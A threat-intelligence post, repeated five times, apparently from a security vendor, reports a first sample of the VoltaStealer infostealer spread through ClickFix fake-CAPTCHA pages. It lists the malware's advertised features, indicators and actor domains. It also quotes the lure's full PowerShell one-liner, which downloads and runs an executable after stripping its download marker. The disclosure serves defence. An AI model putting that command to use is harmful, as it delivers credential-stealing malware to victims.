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  1. πŸ‘» VoltaStealer was basically a ghost story. A slick, evasion-obsessed new infostealer hyped by its author on dark web forums, but no one reported seeing one in the wild, until now.

    While tracking a ClickFix actor, we pivoted on a known IOC into an open directory holding a very interesting payload. Artifacts and circumstantial evidence point to one suspect: VoltaStealer. We believe this is the first known sample. πŸ”¬

    The delivery is textbook verification and fatigue bait: fraudulent sites dressed up as "security checks" and fake CAPTCHAs. Tick the "I'm not a robot" box and the page silently copies a malicious PowerShell one-liner to your clipboard. The ClickFix lure page then instructs victims to open the Windows Run dialog and enter the paste hotkey command, which fetches the malware. No exploit required, just a checkbox and trust. πŸ€–

    What VoltaStealer claims it can do (per its own MaaS sales pitch, surfaced via Axur's dark web monitoring):
    πŸ”΄ Runs fully in memory β€” custom encryption/obfuscation, minimal disk artifacts
    πŸ”΄ Heavy evasion β€” anti-VM/sandbox/debug, direct syscalls, runtime FUD, ~75% build uniqueness, chunked exfil to stay quiet
    πŸ”΄ Grabs everything β€” passwords, cookies, auth tokens, browser + desktop crypto wallets, Telegram sessions, VPN configs, and files via regex scanning
    πŸ”΄ Fast & greedy β€” 5–10s execution, ~95% "hit rate" claim, partial upload even if interrupted, no persistence
    πŸ”΄ Full storefront β€” web panel + builder, dashboards, API, team roles, clipper/loader/file-grabber modules, tiered subs

    In other words: vapor no more. πŸ’¨

    β›” VoltaStealer C2:
    usevolta[.]su

    β›” VoltaStealer Payloads (SHA256):
    2be779fc085dd89cf9e042cbcf32ee6da0cd0e3106e9dca49d52b7a839b1aa8f
    253f53b2453f8bff642421cfa5d851af8fc7100409397d80643bd792a7e38edb

    β›” ClickFix PowerShell command (Not VoltaStealer):
    command: "powershell -nop -w h -ep bypass -c \"$u='hXXps[:]//plonkert[.]cfd/de372ad5.exe';$f=$env:TEMP+'\\\\x.exe';$w=[Net.WebClient]::new();$w.('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

    β›” Malware payload (Not VoltaStealer) dropped via ClickFix malicious command (SHA256):
    6a6f16d7202e64fea38a757b5151a39099124a1bf55ba55e62d58f3ae102f7e8

    β›” ClickFix actor domains:
    comalign[.]pro
    zorivian[.]pro
    nexalora[.]pro
    kovraxis[.]com
    mevrio[.]com
    krebbo[.]world
    wobblify[.]cfd
    yovu[.]world
    glimmerix[.]pro
    launcherpatch[.]com
    grembix[.]cfd
    wumlo[.]shop
    plonkert[.]cfd
    volpo[.]cfd
    fleepax[.]cfd
    zixlo[.]cfd
    quobnar[.]world
    riotmourner[.]pro
    youfound[.]fun

    Rule of thumb: real CAPTCHAs don't ask you to open the Windows Run dialog and paste in a command. If one does, close the page. πŸ›‘

    #dns #threatintel #threatintelligence #cybercrime #cybersecurity #infosec #infoblox #infobloxthreatintel #clickfix #infostealer #voltastealer #maas #malware #captcha #axur

  2. πŸ‘» VoltaStealer was basically a ghost story. A slick, evasion-obsessed new infostealer hyped by its author on dark web forums, but no one reported seeing one in the wild, until now.

    While tracking a ClickFix actor, we pivoted on a known IOC into an open directory holding a very interesting payload. Artifacts and circumstantial evidence point to one suspect: VoltaStealer. We believe this is the first known sample. πŸ”¬

    The delivery is textbook verification and fatigue bait: fraudulent sites dressed up as "security checks" and fake CAPTCHAs. Tick the "I'm not a robot" box and the page silently copies a malicious PowerShell one-liner to your clipboard. The ClickFix lure page then instructs victims to open the Windows Run dialog and enter the paste hotkey command, which fetches the malware. No exploit required, just a checkbox and trust. πŸ€–

    What VoltaStealer claims it can do (per its own MaaS sales pitch, surfaced via Axur's dark web monitoring):
    πŸ”΄ Runs fully in memory β€” custom encryption/obfuscation, minimal disk artifacts
    πŸ”΄ Heavy evasion β€” anti-VM/sandbox/debug, direct syscalls, runtime FUD, ~75% build uniqueness, chunked exfil to stay quiet
    πŸ”΄ Grabs everything β€” passwords, cookies, auth tokens, browser + desktop crypto wallets, Telegram sessions, VPN configs, and files via regex scanning
    πŸ”΄ Fast & greedy β€” 5–10s execution, ~95% "hit rate" claim, partial upload even if interrupted, no persistence
    πŸ”΄ Full storefront β€” web panel + builder, dashboards, API, team roles, clipper/loader/file-grabber modules, tiered subs

    In other words: vapor no more. πŸ’¨

    β›” VoltaStealer C2:
    usevolta[.]su

    β›” VoltaStealer Payloads (SHA256):
    2be779fc085dd89cf9e042cbcf32ee6da0cd0e3106e9dca49d52b7a839b1aa8f
    253f53b2453f8bff642421cfa5d851af8fc7100409397d80643bd792a7e38edb

    β›” ClickFix PowerShell command (Not VoltaStealer):
    command: "powershell -nop -w h -ep bypass -c \"$u='hXXps[:]//plonkert[.]cfd/de372ad5.exe';$f=$env:TEMP+'\\\\x.exe';$w=[Net.WebClient]::new();$w.('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

    β›” Malware payload (Not VoltaStealer) dropped via ClickFix malicious command (SHA256):
    6a6f16d7202e64fea38a757b5151a39099124a1bf55ba55e62d58f3ae102f7e8

    β›” ClickFix actor domains:
    comalign[.]pro
    zorivian[.]pro
    nexalora[.]pro
    kovraxis[.]com
    mevrio[.]com
    krebbo[.]world
    wobblify[.]cfd
    yovu[.]world
    glimmerix[.]pro
    launcherpatch[.]com
    grembix[.]cfd
    wumlo[.]shop
    plonkert[.]cfd
    volpo[.]cfd
    fleepax[.]cfd
    zixlo[.]cfd
    quobnar[.]world
    riotmourner[.]pro
    youfound[.]fun

    Rule of thumb: real CAPTCHAs don't ask you to open the Windows Run dialog and paste in a command. If one does, close the page. πŸ›‘

    #dns #threatintel #threatintelligence #cybercrime #cybersecurity #infosec #infoblox #infobloxthreatintel #clickfix #infostealer #voltastealer #maas #malware #captcha #axur

  3. πŸ‘» VoltaStealer was basically a ghost story. A slick, evasion-obsessed new infostealer hyped by its author on dark web forums, but no one reported seeing one in the wild, until now.

    While tracking a ClickFix actor, we pivoted on a known IOC into an open directory holding a very interesting payload. Artifacts and circumstantial evidence point to one suspect: VoltaStealer. We believe this is the first known sample. πŸ”¬

    The delivery is textbook verification and fatigue bait: fraudulent sites dressed up as "security checks" and fake CAPTCHAs. Tick the "I'm not a robot" box and the page silently copies a malicious PowerShell one-liner to your clipboard. The ClickFix lure page then instructs victims to open the Windows Run dialog and enter the paste hotkey command, which fetches the malware. No exploit required, just a checkbox and trust. πŸ€–

    What VoltaStealer claims it can do (per its own MaaS sales pitch, surfaced via Axur's dark web monitoring):
    πŸ”΄ Runs fully in memory β€” custom encryption/obfuscation, minimal disk artifacts
    πŸ”΄ Heavy evasion β€” anti-VM/sandbox/debug, direct syscalls, runtime FUD, ~75% build uniqueness, chunked exfil to stay quiet
    πŸ”΄ Grabs everything β€” passwords, cookies, auth tokens, browser + desktop crypto wallets, Telegram sessions, VPN configs, and files via regex scanning
    πŸ”΄ Fast & greedy β€” 5–10s execution, ~95% "hit rate" claim, partial upload even if interrupted, no persistence
    πŸ”΄ Full storefront β€” web panel + builder, dashboards, API, team roles, clipper/loader/file-grabber modules, tiered subs

    In other words: vapor no more. πŸ’¨

    β›” VoltaStealer C2:
    usevolta[.]su

    β›” VoltaStealer Payloads (SHA256):
    2be779fc085dd89cf9e042cbcf32ee6da0cd0e3106e9dca49d52b7a839b1aa8f
    253f53b2453f8bff642421cfa5d851af8fc7100409397d80643bd792a7e38edb

    β›” ClickFix PowerShell command (Not VoltaStealer):
    command: "powershell -nop -w h -ep bypass -c \"$u='hXXps[:]//plonkert[.]cfd/de372ad5.exe';$f=$env:TEMP+'\\\\x.exe';$w=[Net.WebClient]::new();$w.('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

    β›” Malware payload (Not VoltaStealer) dropped via ClickFix malicious command (SHA256):
    6a6f16d7202e64fea38a757b5151a39099124a1bf55ba55e62d58f3ae102f7e8

    β›” ClickFix actor domains:
    comalign[.]pro
    zorivian[.]pro
    nexalora[.]pro
    kovraxis[.]com
    mevrio[.]com
    krebbo[.]world
    wobblify[.]cfd
    yovu[.]world
    glimmerix[.]pro
    launcherpatch[.]com
    grembix[.]cfd
    wumlo[.]shop
    plonkert[.]cfd
    volpo[.]cfd
    fleepax[.]cfd
    zixlo[.]cfd
    quobnar[.]world
    riotmourner[.]pro
    youfound[.]fun

    Rule of thumb: real CAPTCHAs don't ask you to open the Windows Run dialog and paste in a command. If one does, close the page. πŸ›‘

    #dns #threatintel #threatintelligence #cybercrime #cybersecurity #infosec #infoblox #infobloxthreatintel #clickfix #infostealer #voltastealer #maas #malware #captcha #axur

  4. πŸ‘» VoltaStealer was basically a ghost story. A slick, evasion-obsessed new infostealer hyped by its author on dark web forums, but no one reported seeing one in the wild, until now.

    While tracking a ClickFix actor, we pivoted on a known IOC into an open directory holding a very interesting payload. Artifacts and circumstantial evidence point to one suspect: VoltaStealer. We believe this is the first known sample. πŸ”¬

    The delivery is textbook verification and fatigue bait: fraudulent sites dressed up as "security checks" and fake CAPTCHAs. Tick the "I'm not a robot" box and the page silently copies a malicious PowerShell one-liner to your clipboard. The ClickFix lure page then instructs victims to open the Windows Run dialog and enter the paste hotkey command, which fetches the malware. No exploit required, just a checkbox and trust. πŸ€–

    What VoltaStealer claims it can do (per its own MaaS sales pitch, surfaced via Axur's dark web monitoring):
    πŸ”΄ Runs fully in memory β€” custom encryption/obfuscation, minimal disk artifacts
    πŸ”΄ Heavy evasion β€” anti-VM/sandbox/debug, direct syscalls, runtime FUD, ~75% build uniqueness, chunked exfil to stay quiet
    πŸ”΄ Grabs everything β€” passwords, cookies, auth tokens, browser + desktop crypto wallets, Telegram sessions, VPN configs, and files via regex scanning
    πŸ”΄ Fast & greedy β€” 5–10s execution, ~95% "hit rate" claim, partial upload even if interrupted, no persistence
    πŸ”΄ Full storefront β€” web panel + builder, dashboards, API, team roles, clipper/loader/file-grabber modules, tiered subs

    In other words: vapor no more. πŸ’¨

    β›” VoltaStealer C2:
    usevolta[.]su

    β›” VoltaStealer Payloads (SHA256):
    2be779fc085dd89cf9e042cbcf32ee6da0cd0e3106e9dca49d52b7a839b1aa8f
    253f53b2453f8bff642421cfa5d851af8fc7100409397d80643bd792a7e38edb

    β›” ClickFix PowerShell command (Not VoltaStealer):
    command: "powershell -nop -w h -ep bypass -c \"$u='hXXps[:]//plonkert[.]cfd/de372ad5.exe';$f=$env:TEMP+'\\\\x.exe';$w=[Net.WebClient]::new();$w.('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

    β›” Malware payload (Not VoltaStealer) dropped via ClickFix malicious command (SHA256):
    6a6f16d7202e64fea38a757b5151a39099124a1bf55ba55e62d58f3ae102f7e8

    β›” ClickFix actor domains:
    comalign[.]pro
    zorivian[.]pro
    nexalora[.]pro
    kovraxis[.]com
    mevrio[.]com
    krebbo[.]world
    wobblify[.]cfd
    yovu[.]world
    glimmerix[.]pro
    launcherpatch[.]com
    grembix[.]cfd
    wumlo[.]shop
    plonkert[.]cfd
    volpo[.]cfd
    fleepax[.]cfd
    zixlo[.]cfd
    quobnar[.]world
    riotmourner[.]pro
    youfound[.]fun

    Rule of thumb: real CAPTCHAs don't ask you to open the Windows Run dialog and paste in a command. If one does, close the page. πŸ›‘

    #dns #threatintel #threatintelligence #cybercrime #cybersecurity #infosec #infoblox #infobloxthreatintel #clickfix #infostealer #voltastealer #maas #malware #captcha #axur

  5. πŸ‘» VoltaStealer was basically a ghost story. A slick, evasion-obsessed new infostealer hyped by its author on dark web forums, but no one reported seeing one in the wild, until now.

    While tracking a ClickFix actor, we pivoted on a known IOC into an open directory holding a very interesting payload. Artifacts and circumstantial evidence point to one suspect: VoltaStealer. We believe this is the first known sample. πŸ”¬

    The delivery is textbook verification and fatigue bait: fraudulent sites dressed up as "security checks" and fake CAPTCHAs. Tick the "I'm not a robot" box and the page silently copies a malicious PowerShell one-liner to your clipboard. The ClickFix lure page then instructs victims to open the Windows Run dialog and enter the paste hotkey command, which fetches the malware. No exploit required, just a checkbox and trust. πŸ€–

    What VoltaStealer claims it can do (per its own MaaS sales pitch, surfaced via Axur's dark web monitoring):
    πŸ”΄ Runs fully in memory β€” custom encryption/obfuscation, minimal disk artifacts
    πŸ”΄ Heavy evasion β€” anti-VM/sandbox/debug, direct syscalls, runtime FUD, ~75% build uniqueness, chunked exfil to stay quiet
    πŸ”΄ Grabs everything β€” passwords, cookies, auth tokens, browser + desktop crypto wallets, Telegram sessions, VPN configs, and files via regex scanning
    πŸ”΄ Fast & greedy β€” 5–10s execution, ~95% "hit rate" claim, partial upload even if interrupted, no persistence
    πŸ”΄ Full storefront β€” web panel + builder, dashboards, API, team roles, clipper/loader/file-grabber modules, tiered subs

    In other words: vapor no more. πŸ’¨

    β›” VoltaStealer C2:
    usevolta[.]su

    β›” VoltaStealer Payloads (SHA256):
    2be779fc085dd89cf9e042cbcf32ee6da0cd0e3106e9dca49d52b7a839b1aa8f
    253f53b2453f8bff642421cfa5d851af8fc7100409397d80643bd792a7e38edb

    β›” ClickFix PowerShell command (Not VoltaStealer):
    command: "powershell -nop -w h -ep bypass -c \"$u='hXXps[:]//plonkert[.]cfd/de372ad5.exe';$f=$env:TEMP+'\\\\x.exe';$w=[Net.WebClient]::new();$w.('Down'+'loadFile')($u,$f);Unblock-File $f -EA 0;ri ($f+':Zone.Identifier') -EA 0;$env:SEE_MASK_NOZONECHECKS=1;& $f"

    β›” Malware payload (Not VoltaStealer) dropped via ClickFix malicious command (SHA256):
    6a6f16d7202e64fea38a757b5151a39099124a1bf55ba55e62d58f3ae102f7e8

    β›” ClickFix actor domains:
    comalign[.]pro
    zorivian[.]pro
    nexalora[.]pro
    kovraxis[.]com
    mevrio[.]com
    krebbo[.]world
    wobblify[.]cfd
    yovu[.]world
    glimmerix[.]pro
    launcherpatch[.]com
    grembix[.]cfd
    wumlo[.]shop
    plonkert[.]cfd
    volpo[.]cfd
    fleepax[.]cfd
    zixlo[.]cfd
    quobnar[.]world
    riotmourner[.]pro
    youfound[.]fun

    Rule of thumb: real CAPTCHAs don't ask you to open the Windows Run dialog and paste in a command. If one does, close the page. πŸ›‘

    #dns #threatintel #threatintelligence #cybercrime #cybersecurity #infosec #infoblox #infobloxthreatintel #clickfix #infostealer #voltastealer #maas #malware #captcha #axur